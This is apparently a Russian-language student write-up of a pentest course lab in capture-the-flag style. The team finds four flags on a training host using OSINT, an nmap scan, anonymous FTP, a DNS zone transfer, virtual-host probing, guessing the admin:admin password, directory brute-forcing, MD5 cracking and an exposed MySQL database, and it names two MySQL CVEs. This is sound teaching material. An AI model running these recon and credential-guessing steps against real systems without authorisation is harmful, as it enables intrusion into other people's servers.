Информзащита. Пентест. Домашнее задание 1 - Внешний периметр
@ Изостудия АРТ | Monday, Apr 19, 2021 | 6 minutes read | Update at Monday, Apr 19, 2021

Под катом - домашнее задание по первой лекции, выполненное командой Изостудия АРТ.

Состав команды:

  • Кинеловский Никита
  • Обухова Вероника
  • Раковский Станислав

Куратор Тихомиров Никита


Задание

Пользуясь открытыми источниками и исследуя хост 52.57.6.38 найдите флаги.
Всего будет 4 флага, 2 из которых- на хосте и 2 в открытых источниках.
Флаг имеет следующий формат: flag{}
Правила: не портить инфру, не вводить в заблуждение остальных участников.

Ответ на домашнее задание сдается одно от команды и отправляется до 23:59 26 апреля сюда: @mntsth
Отчет по результатам ДЗ должен быть в PDF в формате и содержать подробное получение каждого флага.

p.s. Полезно будет ознакомиться с понятием virtual hosts

Ход решения

Открытые источники, первый флаг

Первый флаг был найден с использованием вебархива:

На одном из двух снимков был запечатлен флаг:

Открытые источники, второй флаг

На сайте, в отличие от снимков на wayback machine, в html есть комментарий:

<!-- Also well known as Dzaarg -->

Используя сервисы по проверке юзернейма, узнаем, что он зарегистрирован на нескольких сайтах:

Находим его на pastebin: https://pastebin.com/u/Dzaarg

Флаг: flag{w3llkn0wnn1ckname} Находим его в instagram: https://www.instagram.com/Dzaarg/

Приватный аккаунт, подписан на одного человека. Вмешиваться не будем. Находим его на pikabu: https://pikabu.ru/@Dzaarg

Флаг: flag{w3llkn0wnN1ckN4me}

Примечательно, что на pikabu отличается кейс букв.

FTP, третий флаг

Просканили nmap-ом сервер:

> nmap -sV -p- 52.57.6.38
...
Not shown: 65526 closed ports
PORT      STATE    SERVICE
22/tcp    open     ssh
25/tcp    filtered smtp
53/tcp    open     domain
80/tcp    open     http
443/tcp   open     https
465/tcp   filtered smtps
587/tcp   filtered submission
3306/tcp  open     mysql
40021/tcp open     unknown

Nmap done: 1 IP address (1 host up) scanned in 6829.23 seconds

Примечателен сервис на 40021 порту, возникает предположение о том, что это ftp на нестандартном порту. В таком случае мы сможем с помощью netcat получить баннер:

> nc 52.57.6.38 40021
220 (vsFTPd 3.0.3)

В действительности, это FTP-сервер. Подключаемся, смотрим:

> ftp 52.57.6.38 40021
Connected to 52.57.6.38.
220 (vsFTPd 3.0.3)
Name (52.57.6.38:user): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pass
Passive mode on.
ftp> ls
227 Entering Passive Mode (52,57,6,38,234,193).
150 Here comes the directory listing.
dr-xr-xr-x    2 0        0            4096 Apr 19 13:46 ftparea
226 Directory send OK.
ftp> ls -la
227 Entering Passive Mode (52,57,6,38,234,166).
150 Here comes the directory listing.
drwxr-xr-x    3 0        115          4096 Apr 19 13:46 .
drwxr-xr-x    3 0        115          4096 Apr 19 13:46 ..
-rw-r--r--    1 0        0              21 Apr 19 13:46 .bash_history
-rw-r--r--    1 0        0             220 Apr 19 13:46 .bash_logout
-rw-r--r--    1 0        0            3809 Apr 19 13:48 .bashrc
-rw-r--r--    1 0        0             807 Apr 19 13:46 .profile
-rw-------    1 0        0             790 Apr 19 13:46 .viminfo
dr-xr-xr-x    2 0        0            4096 Apr 19 13:46 ftparea
226 Directory send OK.
ftp> cd ftparea
250 Directory successfully changed.
ftp> ls -la
227 Entering Passive Mode (52,57,6,38,234,135).
150 Here comes the directory listing.
dr-xr-xr-x    2 0        0            4096 Apr 19 13:46 .
drwxr-xr-x    3 0        115          4096 Apr 19 13:46 ..
-rw-r--r--    1 0        0              20 Apr 19 13:47 .secreto.txt
-rw-r--r--    1 0        0           10765 Apr 19 13:46 flag.jpg
-rw-r--r--    1 0        0           67488 Apr 19 13:46 maybeflag.jpg
-rw-r--r--    1 0        0              10 Apr 19 13:46 topsecret.txt
226 Directory send OK.
ftp> get .secreto.txt -
remote: .secreto.txt
227 Entering Passive Mode (52,57,6,38,234,172).
150 Opening BINARY mode data connection for .secreto.txt (20 bytes).
flag{4n0n1mUzz1337}
226 Transfer complete.
20 bytes received in 0.00 secs (23.5600 kB/s)

Получен еще один флаг: flag{4n0n1mUzz1337}

Также были изучены другие файлы, находящиеся на файловом сервере, среди них примечателен только ._bash_history: .bash_history: givemefukinflag

База данных, четвертый флаг

На странице нам предлагают связаться по email leo@trueoaz.infosec В задании сказано о virtual hosts, а на сервере открыт 53-й порт. Давайте попробуем выгрузить доменную зону trueoaz.infosec:

> dig AXFR trueoaz.infosec @52.57.6.38
 
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> AXFR trueoaz.infosec @52.57.6.38
;; global options: +cmd
trueoaz.infosec.        10      IN      SOA     ns1.trueoaz.infosec. ns2.trueoaz.infosec. 3 10800 3600 604800 604800
trueoaz.infosec.        10      IN      A       127.0.0.1
trueoaz.infosec.        10      IN      NS      ns1.trueoaz.infosec.
trueoaz.infosec.        10      IN      NS      ns2.trueoaz.infosec.
dsadddw.trueoaz.infosec. 10     IN      TXT     "Ti nafiga eto sdelal?"
kingleo.trueoaz.infosec. 10     IN      A       127.0.0.1
ns1.trueoaz.infosec.    10      IN      A       127.0.0.1
ns2.trueoaz.infosec.    10      IN      A       127.0.0.2
www.trueoaz.infosec.    10      IN      CNAME   trueoaz.infosec.
trueoaz.infosec.        10      IN      SOA     ns1.trueoaz.infosec. ns2.trueoaz.infosec. 3 10800 3600 604800 604800
;; Query time: 45 msec
;; SERVER: 52.57.6.38#53(52.57.6.38)
;; WHEN: Fri Apr 23 23:08:57 MSK 2021
;; XFR size: 10 records (messages 1, bytes 312)

MX-записи не видим, зато примечательны интересные TXT- и A-записи.

> wget --header="Host: kingleo.trueoaz.infosec" 52.57.6.38
--2021-04-23 23:15:27--  http://52.57.6.38/
Connecting to 52.57.6.38:80... connected.
HTTP request sent, awaiting response... 401 Unauthorized
 
Username/Password Authentication Failed.

Требуется аутентификация.

> wget --header="Host: kingleo.trueoaz.infosec" 52.57.6.38  --http-user=user --http-password=password
--2021-04-23 23:17:43--  http://52.57.6.38/
Connecting to 52.57.6.38:80... connected.
HTTP request sent, awaiting response... 401 Unauthorized
Authentication selected: Basic realm="are you admin?"
Reusing existing connection to 52.57.6.38:80.
HTTP request sent, awaiting response... 401 Unauthorized
 
Username/Password Authentication Failed.

С помощью атрибута realm нам подсказывают, что ожидается пользователь admin.

> wget --header="Host: kingleo.trueoaz.infosec" 52.57.6.38  --http-user=admin --http-password=admin
--2021-04-23 23:20:04--  http://52.57.6.38/
Connecting to 52.57.6.38:80... connected.
HTTP request sent, awaiting response... 401 Unauthorized
Authentication selected: Basic realm="are you admin?"
Reusing existing connection to 52.57.6.38:80.
HTTP request sent, awaiting response... 403 Forbidden
2021-04-23 23:20:04 ERROR 403: Forbidden.

Мы прошли аутентификацию, используя креды admin:admin, но теперь нам кидают 403 на корень сайта. Пройдемся dirsearch:

> dirsearch.py --auth=admin:admin -H 'Host: kingleo.trueoaz.infosec' -u 52.57.6.38
 
 _|. _ _  _  _  _ _|_    v0.4.1
(_||| _) (/_(_|| (_| )
 
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10877
 
Error Log: /root/dirsearch/logs/errors-21-04-23_20-23-30.log
 
Target: http://52.57.6.38/
 
Output File: /root/dirsearch/reports/52.57.6.38/_21-04-23_20-23-30.txt
 
[20:23:30] Starting:
[20:23:36] 200 -  109B  - /admin.html
 
Task Completed

Достанем файл:

> wget --header="Host: kingleo.trueoaz.infosec" --http-user=admin --http-password=admin 52.57.6.38/admin.html
--2021-04-23 20:25:34--  http://52.57.6.38/admin.html
Connecting to 52.57.6.38:80... connected.
HTTP request sent, awaiting response... 401 Unauthorized
Authentication selected: Basic realm="are you admin?"
Reusing existing connection to 52.57.6.38:80.
HTTP request sent, awaiting response... 200 OK
Length: 109 [text/html]
Saving to: ‘admin.html’
 
admin.html                             100%[============================================================================>]     109  --.-KB/s    in 0s
 
2021-04-23 20:25:34 (3.87 MB/s) - ‘admin.html’ saved [109/109]

Его содержимое:

<p>My method is supersecure</p>
<p>New year - new user</p>
<p>leo2018:8352269ae368edfeacfa7c1213c35015</p>

md5 нашлась в радужных таблицах: space1 Была предпринята попытка найти HTTP Method, который бы ответил на наш зов, но безуспешно.

Но потом тиммейт Ника включила своё божественное чутье и вспомнила о наличии открыто торчащей базы данных:

Флаг: flag{congr4tzzzz!}

Стоит добавить, что версия бд - MySQL 5.5.5, имеет известные эксплоиты на DoS, на повышение привилегий и RCE. Так как были найдены все 4 флага, считаем дальнейшие действия избыточными, так как можем нарушить целостность и доступность сервера, поэтому просто упомянем те уязвимости, эксплоиты для которых есть в свободном доступе и которые мы бы применили, если б не оставалось других вариантов:

  • CVE-2016-6662 - повышение привилегий, RCE.
  • CVE-2012-2122 - получение пар логин - хешированный пароль.

Итог

flag{ggwppoluchaetsya} - wayback machine

flag{w3llkn0wnN1ckN4me} и flag{w3llkn0wnn1ckname} - pikabu and pastebin (via namecheck services)

flag{4n0n1mUzz1337} - ftp

flag{congr4tzzzz!} - MySQL

Cats!

Under construction

Wow! Flipable!

Hello from another side of the Moon!

Looking for a flag? Okay, take this:
LFXXKIDBOJSSA43XMVSXIIC6LYQCAIA=

About me

Under construction. You can try to contact me and fill this field… haha… ha…